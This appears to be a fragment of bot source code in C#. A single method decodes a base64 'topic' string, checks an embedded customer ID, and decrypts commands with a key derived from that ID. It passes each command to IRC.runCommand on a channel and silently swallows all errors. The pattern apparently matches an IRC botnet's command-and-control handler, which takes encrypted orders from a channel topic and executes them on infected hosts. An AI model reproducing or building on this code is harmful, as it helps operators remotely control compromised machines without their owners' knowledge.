public static void DecryptTopic(string topic) { try { string param1 = ""; string param2 = ""; string param3 = ""; string param4 = ""; string first = Encoding.UTF8.GetString(Convert.FromBase64String(topic)); string[] parts = first.Split('|'); string makeDataEncrypted = Encoding.UTF8.GetString(Convert.FromBase64String(parts[0])); string customerID = parts[1]; if (customerID == Config.customerID) { int key = Convert.ToInt32(customerID.Substring(5, 3)); string commands = Chk(makeDataEncrypted, key).Replace(" .", "."); string[] commandArray = commands.Split('|'); foreach (string c in commandArray) { string[] message = c.Split(' '); try { param1 = message[1]; param2 = message[2]; param3 = message[3]; param4 = message[4]; } catch { } IRC.runCommand(message[0], IRC.channel, param1, param2, param3, param4, message); } } } catch { } }